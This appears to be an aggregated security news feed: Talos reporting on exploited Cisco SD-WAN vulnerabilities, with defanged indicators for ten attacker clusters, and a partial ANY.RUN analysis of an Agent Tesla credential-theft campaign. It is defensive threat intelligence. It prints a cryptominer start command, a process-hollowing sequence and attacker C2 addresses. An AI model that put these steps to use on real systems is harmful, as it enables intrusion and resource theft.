Why geopolitical turmoil is a gift for scammers, and how to stay safe

Conflict is a boon for opportunistic fraudsters. Look out for their ploys.

WeLiveSecurity – ​Read More

FrostyNeighbor: Fresh mischief and digital shenanigans

ESET researchers uncovered new activities attributed to FrostyNeighbor, updating its compromise chain to support the group’s continual cyberespionage operations

WeLiveSecurity – ​Read More

The time of much patching is coming

The time of much patching is coming

Welcome to this week’s edition of the Threat Source newsletter. 

Many solutions have been proposed to reduce software bugs: zero-defect mandates, pair programming, formal methods, and mathematical software proofs. The reality is that software engineering is hard. Identifying and fixing bugs before they make it into production code is hard. Source code peer review and extensive unit testing have improved code quality, but bugs still get through. 

Not every bug is a vulnerability, and not every fault that appears to be a vulnerability can be usefully exploited. Nevertheless, through extensive testing and review, a skilled vulnerability researcher can still uncover faults in software that has already undergone rigorous quality assurance. However, skilled vulnerability researchers are a scarce resource and can only review so much software. 

AI is the great hope for improving software quality. Iterative improvements in AI’s ability to find bugs mean that each new version of these systems is better than the last. We’re now at the point where AI, although still not as good as a skilled vulnerability researcher, can scan code to find errors at a scale and speed that human analysis cannot match. Used well, it can identify potential vulnerabilities before they reach production. 

In the long term, this is very good news. Better automated review and analysis of software is how we will improve code quality. However, in the short term, decades of technical debt and latent errors will be uncovered and will need to be addressed. To make things more complex, threat actors will have access to these same tools to search for exploitable vulnerabilities for their own ends. 

The result is likely to be a surge in patches. More vulnerabilities discovered means more fixes released, placing additional pressure on already stretched operations teams. Many of these patches will be urgent; some will address vulnerabilities that are being actively exploited. Without proper planning, the volume of fixes may outpace an organization’s capacity to deploy them.

The surge of patches has yet to happen, but the first signs may already be visible. Now is an excellent time to consider how you prioritise patching, apply patches at scale, and manage systems that cannot be patched quickly — or at all. We can reflect on these questions now, and improve our processes, or we can flounder when the surge of patches arrives. Either way, ready or not, the time of much patching is coming. 

The one big thing 

In Cisco Talos’ latest blog, we outline the differences between responding to state-sponsored threat actors and handling commodity ransomware. These advanced adversaries log in using valid credentials and leverage your own trusted tools to remain invisible for months. Because their primary objectives are long-term espionage and pre-positioning rather than immediate financial gain, standard incident response playbooks are entirely inadequate.  

Why do I care? 

State-sponsored actors operate inside your trust boundary and aim to remain completely undetected. They have the patience and resources to map your infrastructure, exploit supply chain vulnerabilities, and blend their lateral movement into routine administrative tasks. If your security architecture assumes internal traffic is inherently trustworthy, these adversaries will exploit that gap to establish deep, persistent access across both IT and operational technology environments. Prematurely containing these threats can even tip off the attacker, causing you to lose critical intelligence and the chance to fully eradicate their foothold.

So now what? 

Shift to a zero trust architecture that continuously verifies access and plans for inevitable failures, starting with maximizing your visibility through centralized log aggregation and enabling Windows command-line and PowerShell script block logging. Prioritize identity management by enforcing multi-factor authentication on all administrative accounts and implementing a tiered access model. Update your incident response playbooks to specifically address living-off-the-land techniques, supply chain compromises, and the complex operational timing required for state-sponsored containment. Read the blog here for more information. 

Top security headlines of the week 

Linux bitten by second severe vulnerability in as many weeks 
The leaked exploit is deterministic, meaning it works precisely the same way each time it’s run and across different Linux distributions. It causes no crashes, making it stealthy to run. Install patches immediately. (Ars Technica

A DOD contractor’s API flaw exposed military course data and service member records 
The issue affected Schemata, an AI-powered virtual training platform used in military and defense settings. According to Strix, an ordinary low-privilege account was able to access data across multiple tenants. (CyberScoop

Fake OpenAI Privacy Filter repo hits No. 1 on Hugging Face, draws 244K downloads 
A malicious repository managed to take a spot in the platform’s trending list by impersonating OpenAI’s Privacy Filter open-weight model to deliver a Rust-based information stealer to Windows users. (The Hacker News

TanStack, Mistral AI, UiPath hit in fresh supply chain attack 
The same as in previous campaigns, the worm targets sensitive information, including developer credentials, API keys, tokens, cloud credentials and secrets, cryptocurrency wallets, and more. (SecurityWeek

Official CheckMarx Jenkins package compromised with infostealer 
Checkmarx warned over the weekend that a rogue version of its Jenkins Application Security Testing (AST) plugin had been published on the Jenkins Marketplace. (BleepingComputer

Can’t get enough Talos? 

Breaking things to keep them safe with Philippe Laulheret 
From his memorable experiment using a green onion to bypass a biometric fingerprint reader to his experience on the frontlines of cybersecurity, Philippe shares the journey that led him to vulnerability research. 

Inside the SOC: AI-powered DNS defense against ransomware 
Learn how Cisco Talos’ advanced AI-driven detection, including domain generation algorithm (DGA) analysis, integrates within Cisco Secure access to proactively identify and predict malicious domains. 

Clustering and reuse of phone numbers in scam emails 
Cisco Talos has recently started to collect and gather intelligence around phone numbers within emails as an additional indicator of compromise (IOC). In this blog, we discuss new insights into in-the-wild phone number reuse in scam emails.   

Upcoming events where you can find Talos 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
Example Filename: VID001.exe  
Detection Name: Win.Worm.Coinminer::1201** 

SHA256: 96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974  
MD5: aac3165ece2959f39ff98334618d10d9  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974  
Example Filename: d4aa3e7010220ad1b458fac17039c274_63_Exe.exe  
Detection Name: W32.Injector:Gen.21ie.1201 

SHA256: e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba  
MD5: dbd8dbecaa80795c135137d69921fdba  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=e60ab99da105ee27ee09ea64ed8eb46d8edc92ee37f039dbc3e2bb9f587a33ba  
Example Filename: u112417.dat  
Detection Name: W32.Variant:MalwareXgenMisc.29d4.1201 

SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59  
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59  
Example Filename: APQ9305.dll  
Detection Name: Auto.90B145.282358.in02

Cisco Talos Blog – ​Read More

Ongoing exploitation of Cisco Catalyst SD-WAN vulnerabilities

  • Cisco Talos is tracking the active exploitation of CVE-2026-20182, an authentication bypass vulnerability in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, and Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage.
  • Successful exploitation of CVE-2026-20182 allows an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system.
  • The exploitation of CVE-2026-20182 appears to have been limited so far and Talos clusters this activity under UAT-8616 with high confidence.
  • Talos is also aware of a series of threat actors, distinct from UAT-8616, that have been observed to be exploiting a different, previously disclosed set of vulnerabilities, in a new way than previously identified, beginning March 2026 – specifically CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122. It is important to note that those vulnerabilities are distinct from and pre-date CVE-2026-20182. Cisco released software updates and a security advisory addressing those vulnerabilities in February 2026, strongly recommending customers to upgrade.
  • We have identified multiple clusters of post-compromise activity, beginning March 2026, associated with the exploitation of CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122 that deployed webshells and other malicious tooling, described in this post.
  • We observed the vast majority of this exploitation involved the use of ZeroZenX labs’ proof-of-concept and accompanying JSP-based webshell which we track as “XenShell.”

UAT-8616 in-the-wild (ITW) exploitation of CVE-2026-20182

Ongoing exploitation of Cisco Catalyst SD-WAN vulnerabilities

Talos is aware of the active, in-the-wild (ITW) exploitation of CVE-2026-20182 in Cisco Catalyst SD-WAN Controller and Manager, that allows log in to the affected system as an internal, high-privileged, non-root user account. Talos clusters the exploitation of this vulnerability and subsequent post-compromise activity under UAT-8616, whom we assess is a highly sophisticated cyber threat actor. UAT-8616 previously exploited a similar vulnerability in Cisco Catalyst SD-WAN Controller, CVE-2026-20127 to gain unauthorized access to SD-WAN systems.

UAT-8616 performed similar post-compromise actions after successfully exploiting CVE-2026-20182, as was observed in the exploitation of CVE-2026-20127 by the same threat actor. UAT-8616 attempted to add SSH keys, modify NETCONF configurations, and escalate to root privileges. Our findings indicate that the infrastructure used by UAT-8616 to carry out exploitation and post-compromise activities also overlaps with the Operational Relay Box (ORB) networks that Talos monitors closely.

Customers are strongly advised to follow the guidance and recommendations published in Cisco’s Security Advisory on CVE-2026-20182. Customer support is also available by initiating a TAC request.  Please refer to the Recommendations and Detection Guidance section for additional coverage information. We also recommend referring to Rapid7’s disclosure on CVE-2026-20182 for additional details.

In-the-wild (ITW) exploitation of CVE-2026-20133, CVE-2026-20122, and CVE-2026-20128

Talos is also aware of the widespread in-the-wild active exploitation of three vulnerabilities in unpatched Cisco Catalyst SD-WAN Manager infrastructure (CVE-2026-20133, CVE-2026-20128, and CVE-2026-20122) that, when chained together, can allow a remote unauthenticated attacker to gain access to the device. Cisco released software updates and a security advisory addressing these vulnerabilities in February 2026. Following the public release of proof-of-concept code exploiting these vulnerabilities by ZeroZenX Labs in March, we observed the exploitation of the unpatched systems from March to April 2026.

Talos has observed several other threat clusters, separate from UAT-8616, leveraging publicly available proof-of-concept exploit code to deploy webshells to affected systems. Following successful exploitation, the webshells would allow the attacker to execute bash commands on the affected system.

The vast majority of observed exploitation attempts involved the use of the ZeroZenX Labs proof-of-concept code and accompanying JavaServer Pages (JSP) shell, which we are calling “XenShell.” However, we observed several other JSP-based webshell variants, which are outlined below.

Note: The CVE referenced in the ZeroZenX Labs proof-of-concept is incorrectly attributed to CVE-2026-20127. Talos’ analysis indicates that the targeted CVEs in the proof-of-concept are in-fact CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122.

So far, Talos has observed the following clusters of malicious activity being conducted post successful exploitation of CVE-2026-20133, CVE-2026-20122, and CVE-2026-20128: Cluster #1 to Cluster #10.

Cluster 1

This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122 since at least March 6, 2026. Following the exploitation of these CVEs, the threat actor deployed a variant of the Godzilla web shell under the filename “20251117022131.jsp”. This variant is associated with a publicly available GitHub project.

The following IPs were used to carry out the exploit and subsequently interact with the shell:

  • 38.181.52[.]89
  • 89.125.244[.]33
  • 89.125.244[.]51
Ongoing exploitation of Cisco Catalyst SD-WAN vulnerabilities
Figure 1. Tas9er Godzilla shellcode deployed in Cluster #1.

Cluster 2

This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128, and CVE-2026-20122 since at least March 10, 2026. Following their exploitation, the threat actor deployed a variant of the Behinder webshell under the filename “conf.jsp”. This variant has been modified to only use Base64 for encoding, as opposed to AES encryption commonly observed in other variants.

The IP “71.80.85[.]135” was used to carry out the exploit and interact with the shell.

Ongoing exploitation of Cisco Catalyst SD-WAN vulnerabilities
Figure 2. Behinder webshell deployed in Cluster #2.

Cluster 3

This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128, and CVE-2026-20122 since at least March 4, 2026. Following successful exploitation, the threat actor deployed XenShell under the name “sysv.jsp”, before returning hours later to deploy a variant of the Behinder webshell under the filename “sysinit.jsp”.

The IP “212.83.162[.]37” was used to carry out the exploit and interact with the shell.

Ongoing exploitation of Cisco Catalyst SD-WAN vulnerabilities
Figure 3. Behinder webshell deployed in Cluster #3.

Cluster 4

This cluster has been actively exploiting CVE-2026-20133, CVE-2026-20128 and CVE-2026-20122 since at least March 3, 2026. Following successful exploitation, the threat actor deployed a variant of the Godzilla webshell under the filename “vmurnp_ikp.jsp”.

The following IPs are attributed to this cluster:

  • 38.60.214[.]92
  • 65.20.67[.]134
  • 104.233.156[.]1
  • 194.233.100[.]40
Ongoing exploitation of Cisco Catalyst SD-WAN vulnerabilities
Figure 4. Godzilla webshell deployed in Cluster #4.

Cluster 5

Talos observed the deployment, beginning March 13, 2026, of a malware agent compiled off the publicly available AdaptixC2 red team framework. The filename was “systemd-resolved” and the agent’s command and control (C2) is “194[.]163[.]175[.]135:4445”.

The authors have changed the default TCP banner for the sample from “AdapticC2 server” to “shadowcore”. Hosted on Contabo GmbH, this is likely a VPS. As of March 28, 2026, this C2 IP, “194[.]163[.]175[.]135” hosted:

  • A Mythic C2 server on port 7443, along with a Mythic C2 server certificate with serial number: fece5b954e69b2c6a8d0a1029631a0d7
  • Another AdaptixC2 server on port 31337
  • An open SSH service on port 22, likely for administration of server

Cluster 6

In another cluster of activity, since at least March 5, 2026, Sliver, an open-source adversarial emulation framework (aka red-teaming implant), was deployed with the filename “CWan”. The Sliver sample’s C2 is “mtls://23.27.143[.]170:443”.

Cluster 7

In this cluster of activity, since at least March 25, 2026, an XMRig sample and its accompanying configuration file were downloaded and deployed via a shell script from the remote location “83.229.126[.]195”.

Ongoing exploitation of Cisco Catalyst SD-WAN vulnerabilities
Figure 5. Download and startup script for XMRig.

This IP, residing in Hong Kong, is also a known C2 server for Cobalt Strike.

Cluster 8

Activity observed in Cluster 8 began as early as March 10, 2026. This cluster consisted of a few key malicious tools. The first tool is KScan, an asset mapping tool, that can port scan, TCP fingerprint, capture banners for specified assets, and obtain as much port information as possible without sending more packets. It can perform automatic brute-force cracking and brute-force RDP. The tool’s filename and Go packages have been renamed to “QScan” by the authors, but it is essentially the same implementation as the open-source GitHub version.

The second tool, named “agent1”, is a Nim-based implant. It is most likely based on the open-source tools, Nimplant, but is further modified to include:

  • Additional commands/capabilities, such as cd to directories; cat files; download and upload files; execute files using bash; and collect system information such as username, hostname, hwid, process listings, etc.
  • C2 endpoints for communication, registration/check-ins, obtain tasks, provide results, and more:
    • /api/v1/handshake
    • /api/v1/results
    • /api/v1/payloads
    • /api/v1/exfiltrate
    • /api/v1/tasks
    • /api/v1/init
  • An RSA public key to be used by the agent to communicate with the C2 hosted on “hxxp://13[.]62[.]52[.]206:5004”.

This tool was downloaded and executed post-compromise from the remote location “replit[.]dev”:

Ongoing exploitation of Cisco Catalyst SD-WAN vulnerabilities
Figure 6. Download and startup script for the Nim-based implant.

The attackers executed this command on the compromised system while connected from the source IP “79[.]135[.]105[.]208”. This is likely a ProtonVPN node.

Replit is an AI platform that facilitates building applications using AI. It is therefore likely that the backdoor was created with the help of AI to resemble Nimplant’s functionality with the additional capabilities and deviations listed above.

Cluster 9

In this cluster, since at least March 17, 2026, Talos observed the deployment of an XMRig miner and a peer-based proxying and tunneling tool.

This tool, gsocket, is a peer-based proxying and tunneling tool that allows peers to connect to each other within the Global Socket Relay Network (GSRN). GSRN allows peers to connect to each other using node IDs, which are unique 16-byte identifiers for nodes with the network.

This sample obtains the peer or C2 node to connect to by reading and Base58 decoding the accompanying “defunct[.]dat” file. The C2 peer ID is:

78 c4 a2 37 56 27 7b b7 de 20 06 76 34 d2 63 c9  

The tool is activated by placing a malicious command in the .profile file:

Ongoing exploitation of Cisco Catalyst SD-WAN vulnerabilities

This decodes to:

Ongoing exploitation of Cisco Catalyst SD-WAN vulnerabilities

XMRig Miner

Accompanying gsocket was a Monero miner and its scripts and configuration files. The miner is also activated via the user profile (.profile):

/tmp/moneroocean/miner.sh --config=/tmp/moneroocean/config_background.json >/dev/null 2>&1

The “miner.sh” will find all processes named XMRig, kill them, and then start its own copy of XMRig:

Ongoing exploitation of Cisco Catalyst SD-WAN vulnerabilities

Cluster 10

This cluster of activity, since at least Mar 13, 2026, consisted of a credential stealer deployed along with accompanying scripts. The main script, named “loot_run.sh”, attempted to obtain:

  • The admin user’s hashdump
  • JSON Web Tokens (JWT) key chunks that are used for REST API authentication
  • AWS credentials for vManage: AccesKeyId, SecretAccessKey and Token

Two other helper scripts were also deployed in this cluster to check if the current user could escalate to root. The scripts contained a hardcoded password and used it to execute the command su root –c id. The output is checked for the string “uid=0(root)” to verify successful escalation.

Recommendations and detection guidance

Customers are strongly advised to follow the guidance and recommendations published in Cisco’s Security Advisory on CVE-2026-20182. Customer support is also available by initiating a TAC request. Talos strongly recommends that customers and partners using Cisco Catalyst SD-WAN technology follow the steps outlined in this advisory to help protect their environments. We also recommend referring to Rapid7’s disclosure on CVE-2026-20182 for additional details.

Snorts SIDs for CVE-2026-20182 are: 66482 – 66483

Please refer to the official Cisco Security Advisory on CVE-2026-20133, CVE-2026-20122, and CVE-202128 for the latest information regarding affected products, Indicators Of Compromise (IOCs), and mitigation steps.

Snort SIDs for CVE-2026-20133: 66468 – 66469

Snort SIDs for CVE-2026-20122: 66461 – 66462

Snort SIDs for CVE-2026-20128: 66468 – 66469

Snort SIDs for the threats detailed in Clusters #1 through 10 are:

  • Snort2: 66200, 66201, 66202
  • Snort3: 301461, 301462, 66252

ClamAV signatures for the malicious tooling associated with these clusters:

  • Unix.Tool.QScanCrack-10059958
  • Unix.Backdoor.NimPlant-10059957
  • Unix.Tool.GSocket-10059956
  • Unix.Backdoor.JSPZapLoot-10059955
  • Unix.Backdoor.GopherRAT-10059941
  • Unix.Backdoor.JSPZap-10059944
  • Unix.Backdoor.JSPZapExcEnc-10059945
  • Unix.Backdoor.GopherRAT-10059941

IOCs

IOCs for the Clusters detailed above are also available in our GitHub repository here.

Cluster 1

  • 38.181.52[.]89
  • 89.125.244[.]33
  • 89.125.244[.]51

Cluster 2

  • 71.80.85[.]135 

Cluster 3

  • 212.83.162[.]37

Cluster 4

  • 38.60.214[.]92
  • 65.20.67[.]134
  • 104.233.156[.]1
  • 194.233.100[.]40

Cluster 5 – AdaptixC2

  • f6f8e0d790645395188fc521039385b7c4f42fa8b426fd035f489f6cda9b5da1

Cluster 5 – AdaptixC2 C2 server

  • 194[.]163[.]175[.]135:4445

Cluster 5 – AdaptixC2 C2 IP

  • 194[.]163[.]175[.]135

Cluster 6 – Sliver

  • 02654acfb21f83485393ba8b14bd8862b919b9ec966fc6768f6aac1338a45ee8

Cluster 6 – Sliver C2 over mTLS

  • mtls[://]23.27.143[.]170:443

Cluster 6 – Sliver C2 IP

  • 23.27.143[.]170

Cluster 7 – XMRig downloader script

  • 0ed72d52347bfe4a78afff8a6982a64050c8fc86d8957a20eeb3e0f3f5342ed0

Cluster 7 – XMRig sample

  • 96fc528ca5e7d1c2b3add5e31b8797cb126f704976c8fbeaecdbf0aa4309ad46

Cluster 7 – XMRig configuration

  • 7aa88a64a527ade7d93c20faf23b54f2ee33ad9b1246cdc2f8ded2ab639affb1

Cluster 7 – XMRig remote location IP

  • 83[.]229[.]126[.]195

Cluster 7 – XMRig remote URL

  • hxxp://83[.]229[.]126[.]195:8081/xmrig

Cluster 7 – XMRig configuration file remote location

  • hxxp://83[.]229[.]126[.]195:8081/config[.]json

Cluster 8 – Nim-based backdoor

  • 0c87871642f84e09e8d3fb23ec36bf55601323e31151a7017a85dbec929cf15d

Cluster 8 – Download URL for the Nim-based backdoor

  • hxxps://1a820b09-95ba-44eb-b350-417e8241b725-00-1lgwuuen9b77p[.]worf[.]replit.dev/download

Cluster 8 – Attacker controlled sub-domain hosting the Nim-based backdoor

  • a820b09-95ba-44eb-b350-417e8241b725-00-1lgwuuen9b77p[.]worf[.]replit.dev

Cluster 8 – Attacker IP that downloaded the Nim-based backdoor

  • 79[.]135[.]105[.]208

Cluster 8 – C2 for Nim-based backdoor

  • hxxp://13[.]62[.]52[.]206:5004 

Cluster 8 – C2 IP for Nim-based backdoor

  • 13[.]62[.]52[.]206

Cluster 8 – KScan – scanning tool

  • 18d77c9c5bbb5b9d5bdfd366fdfcf26bad9e64c63ca865fad711bcce8e3d5a80

Cluster 8 – IP related to Nim-based backdoor and KScan

  • 176[.]65[.]139[.]31

Cluster 9 – gsocket

  • d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa

Cluster 9 – gsocket secret file

  • 5bc5998161056b7c8f70c9724d8a63abc7ff8c3843b91c30cffab0899e39b7f8

Cluster 9 – IP related to Miner activity

  • 47[.]104[.]248[.]7

Cluster 10 – VManage credential extractor script

  • b0f51b098842cd630097b462aab0ec357e2c7824af37cca6d08165265da2c2d3

Cluster 10 – Check for root escalation

  • 72f570ce97de3eaaffef33d90b0c337a153fc9690cc34ee207b557d868360060
  • 17302d903baf182f94dc3be40ab1e0874dd0eb2ec5255bf9131fd53591efe925

Cisco Talos Blog – ​Read More

LATAM Under Siege: Agent Tesla’s 18-Month Credential Theft Campaign Against Chilean Enterprises

Credential theft malware rarely announces itself with ransomware-level noise. Instead, it operates like a silent siphon hidden inside everyday business workflows: invoices, payroll files, purchase orders, procurement requests. Agent Tesla campaigns are especially dangerous because they target the operational arteries of organizations, harvesting credentials that enable deeper compromise, business email compromise (BEC), financial fraud, cloud account takeover, and long-term espionage. 

Key Takeaways 

  • Agent Tesla remains highly effective in LATAM due to cheap licensing and easy configuration combined with region-specific social engineering
  • Multi-stage loaders using .NET Reactor 6.x and Process Hollowing evade most static detection tools
  • Financial and procurement departments are high-priority targets through purchase order and payroll-themed lures. 
  • Compromised legitimate infrastructure (e.g., Romanian FTP servers) complicates blocking and attribution. 
  • Fileless execution and cleartext FTP exfiltration make dynamic sandbox analysis essential. 
  • The campaign has maintained the same C2 infrastructure for at least 18 months, indicating sustained, professional operations
  • Organizations can significantly improve defenses through interactive sandboxing, targeted awareness training, and outbound FTP monitoring

This investigation reveals an active Agent Tesla campaign specifically targeting Chilean and broader LATAM enterprises through procurement-themed phishing lures. The malware chain combines social engineering, obfuscated loaders, process hollowing, fileless execution, and FTP-based credential exfiltration to evade traditional defenses.

For organizations, the business impact extends far beyond a single infected endpoint: stolen browser, VPN, email, and FTP credentials can become the entry point for supply chain compromise, lateral movement, and unauthorized access to sensitive corporate systems.

Threat Overview: Agent Tesla in the LATAM Context 

Latin America has become an increasingly attractive target for commodity malware operators. The combination of rapid digitalization, growing SME supply chains, and historically lower security maturity makes the region fertile ground for credential stealers. Among these, Agent Tesla consistently ranks as one of the most deployed families — cheap to license, easy to configure, and devastatingly effective against organizations with limited email security controls. 

In March 2026, during routine threat hunting, we identified a malware sample delivered inside a RAR archive named Orden de compra_pdf.uu — Spanish for ‘purchase order’ — a social engineering lure specifically crafted for the Chilean and broader LATAM business environment. What followed was a multi-day investigation that uncovered not just a single sample, but a persistent infrastructure that has been quietly exfiltrating credentials from LATAM enterprises since at least mid-2024. 

Agent Tesla is a .NET-based keylogger and credential stealer, commercially sold as a ‘Remote Administration Tool’ since 2014. Despite its age, it remains highly active because operators can purchase access cheaply and configure it through a GUI without programming knowledge. Its primary capabilities include: 

  • Credential theft — browsers (Chrome, Firefox, Edge), email clients (Outlook, Thunderbird), FTP clients; 
  • Keylogging — captures all keystrokes in real time; 
  • Screenshot capture — periodic desktop screenshots;
  • Clipboard monitoring — intercepts copied passwords and crypto wallet addresses; 
  • Exfiltration channels — SMTP, FTP, HTTP, or Telegram bot API. 

In the LATAM context, Agent Tesla operators typically use spear-phishing lures themed around business documents: purchase orders, payment receipts, payroll files, and invoices. This campaign follows that pattern precisely, targeting the financial and procurement workflows of Chilean companies. 

Business Impact: Why Agent Tesla Is a Serious Enterprise Threat 

While Agent Tesla is often categorized as a “commodity stealer,” the operational impact on organizations can be severe. In many environments, credential theft creates the conditions for larger and more expensive incidents. 

Financial Fraud and Business Email Compromise 

The campaign specifically impersonates procurement and finance-related documents, indicating deliberate targeting of employees who routinely handle invoices, payment approvals, supplier communications, and payroll operations. Once email credentials are stolen, attackers can hijack ongoing financial conversations, redirect payments, or conduct BEC attacks that appear fully legitimate.  

Supply Chain Exposure 

Compromised FTP, VPN, and email accounts may provide indirect access to suppliers, logistics providers, distributors, and partner organizations. This creates a multiplier effect where a single infection can propagate trust-based compromise across the wider business ecosystem. 

Cloud and SaaS Account Takeover 

Modern browsers store credentials for cloud platforms, CRMs, collaboration tools, and internal portals. Theft of browser credential databases can therefore expose Microsoft 365, Google Workspace, Salesforce, SAP, and other critical business systems without the attacker needing to deploy ransomware or exploit vulnerabilities. 

Long-Term Persistence and Espionage 

Agent Tesla’s keylogging, clipboard interception, and screenshot functionality enable prolonged surveillance of employee activity. This allows operators to collect sensitive information gradually over time, including contracts, credentials, API keys, internal communications, and financial data. 

Risk Summary: A single employee opening a convincing purchase order email can result in complete credential compromise across your organization’s digital tools. This campaign has operated undetected against LATAM businesses for over 18 months. The financial and operational cost of remediation significantly exceeds the cost of proactive prevention. 

Close detection gaps with ANY.RUN.
Reduce security risk and breach impact.



Contact us


This article walks through the full investigation methodology, from initial triage to infrastructure correlation, and demonstrates how ANY.RUN’s interactive sandbox and threat intelligence capabilities accelerated key phases of the analysis.  

The full detonation session is publicly available in the sandbox.  

Campaign Technical Analysis

1. Initial Triage: The Malicious RAR Archive 

Sample Identification 

The investigation began with a RAR v5 archive submitted for analysis. Key static properties: 

Attribute  Value  Note 
Orden de compra_pdf.uu  File name  Social engineering lure –  purchase order 
RAR archive v5  File type  Container for payload delivery 
A7EEEAD9C868D9944ED1C1F113328F32  MD5   
B50B3800B17AD7AD5C4483C0B6B24D1D151A9D10  SHA1   
948C8C69FE02EDA9231AEBFA5C626335307058AC74A5C3C40B346179A1BFC982  SHA256   
March 27, 2026  Analysis date  ANY.RUN sandbox detonation 
app.any.run/tasks/54d00d6d-e6d0-4f54-8907-a571a293127b  Full analysis  Interactive sandbox report 

The file extension .uu is a deliberate obfuscation tactic. While the file is actually a RAR archive, the unusual extension is intended to confuse automated scanners and reduce detection rates on email gateways that rely on extension-based filtering. 

.zip archive with fake extension

The Social Engineering Angle 

The filename Orden de compra_pdf.uu translates to ‘Purchase order PDF’ in Spanish. This is a high-value lure for B2B environments: purchase orders are expected, frequently shared by email, and often opened without scrutiny by accounts payable and procurement personnel. The ‘_pdf’ substring creates a false sense of legitimacy, suggesting the recipient will open a PDF document. 

This social engineering pattern is consistent across the 80+ samples we identified communicating with the campaign’s infrastructure –  all impersonating financial or procurement documents in Spanish: 

  • Nómina de sueldos.pdf_008.exe — payroll; 
  • Comprobante de pago.pdf.exe — payment receipt; 
  • Nomina_Sept2025_Confidencial.xlam — confidential payroll; 
  • Orden de Compra.xlam — purchase order (macro-enabled spreadsheet); 
  • OC 20240814.xlam / OC 20240813.xlam — dated order confirmations. 

2. Kill Chain Analysis 

Stage 1 — JScript Encoded Dropper 

WinRAR extracts the archive to reveal Orden de compra_pdf.jse — a JScript Encoded Script (Microsoft Script Encoder format). This encoding is not true encryption, but is highly effective at bypassing signature-based AV detection and preventing casual inspection. The file is executed via Windows Script Host (wscript.exe). 

Turn suspicious attachments into actionable intelligence.
Investigate phishing safely with ANY.RUN Sandbox.



Register now


The .jse dropper performs several actions in sequence: 

  • Downloads a decoy PDF from a remote server and opens it to distract the victim while infection proceeds silently in the background. 
  • Drops multiple PowerShell stager scripts to C:Temp with randomized names (AYRMWWFH.ps1, Z2KBLYG5.ps1, ELHYLTLT.ps1). 
  • Invokes PowerShell with execution policy bypass —  -ExecutionPolicy Bypass-  to run the stagers without triggering security warnings. 
  • Modifies registry keys for persistence. 

All PowerShell stager scripts dropped during the campaign share the same SHA256 hash (96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7), confirming use of a standardized stager template across the campaign.

Stage 1 processes visible in the sandbox

Stage 2 — PowerShell Stager 

The PowerShell stager loads ALTERNATE.dll — the Agent Tesla loader — and injects it into a legitimate Microsoft binary. The choice of injection target is deliberate: aspnet_compiler.exe is a trusted .NET Framework component, and its network activity is rarely flagged by endpoint security tools. 

The stager implements a Process Hollowing injection sequence: 

1. Locate aspnet_compiler.exe on disk 

2. Spawn a suspended process instance 

3. VirtualAllocEx() → allocate memory in target process 

4. WriteProcessMemory() → write ALTERNATE.dll payload 

5. GetProcAddress() → resolve entry point dynamically 

6. Resume execution → Agent Tesla runs inside trusted process 

Stage 3 — ALTERNATE.dll: The Protected Loader 

The DLL is named ALTERNATE.dll internally (with a matching ALTERNATE.pdb debug path left in the binary). Static analysis with Detect-It-Easy reveals a sophisticated protection stack: 

Value  Property  Details 
PE32 .NET Assembly (x86)  Format  CLR v4.0.30319 / .NET 4.5.1 
.NET Reactor 6.x  Protection  Commercial .NET protection framework 
Control Flow Obfuscation  Protection  Scrambles IL execution graph with fake branches 
Calls Encryption  Protection  Replaces method calls with encrypted delegates 
Virtualization  Protection  Converts methods to custom VM bytecode 
Anti-ILDASM  Protection  Breaks dnSpy/ILSpy decompilation 
Math Mutations  Protection  Replaces constants with equivalent expressions 
Fake .cctor names  Protection  Poisons metadata to confuse decompilers 
2066 (forged)  PE Timestamp  Anti-forensic timestamp manipulation 

The use of .NET Reactor 6.x explains why standard tools like de4dot fail without additional flags. The correct tool for this protection version is NETReactorSlayer

# Recommended approach: 
NETReactorSlayer.CLI.exe --no-pause ALTERNATE.dll 

# Alternative with de4dot (force detector): 
de4dot.exe ALTERNATE.dll --det reactor 

Partial deobfuscation via NETReactorSlayer reduced the binary from 79,872 → 42,496 bytes (a 46.8% reduction), confirming that nearly half the original file consisted purely of protection scaffolding. Post-deobfuscation entropy dropped from 6.0 → 5.86, and previously hidden IL structures became accessible for analysis. 

Internal Architecture (Post-Deobfuscation) 

Analysis of the partially deobfuscated binary (alternate_Slayed.dll) reveals the loader’s true internal architecture. Method names remain obfuscated (smethod_10, Delegate10, Struct10) — a pattern consistent with automated obfuscation frameworks — but the functional structure is now recoverable. 

The loader implements a Read → Decrypt → Decompress → Execute pipeline: 

[ALTERNATE.dll Loader] 
        ↓ 
1. Read encrypted blob from embedded resource 
        ↓ 
2. Decrypt  →  RijndaelManaged (AES-256) + CryptoStream 

                   Key: hardcoded hex constant 

                   IV:  prepended to blob (first 16 bytes) 
        ↓ 
3. Decompress  →  System.IO.Compression (DeflateStream) 
        ↓ 
4. Load  →  Reflection (Assembly.Load from byte array) 

               ResolveMethod / GetMethod / CreateInstance 
        ↓ 

5. Invoke  →  DynamicMethod / CreateDelegate 

        ↓ 
6. Execute  →  Agent Tesla payload runs entirely in memory 

Encryption Layer

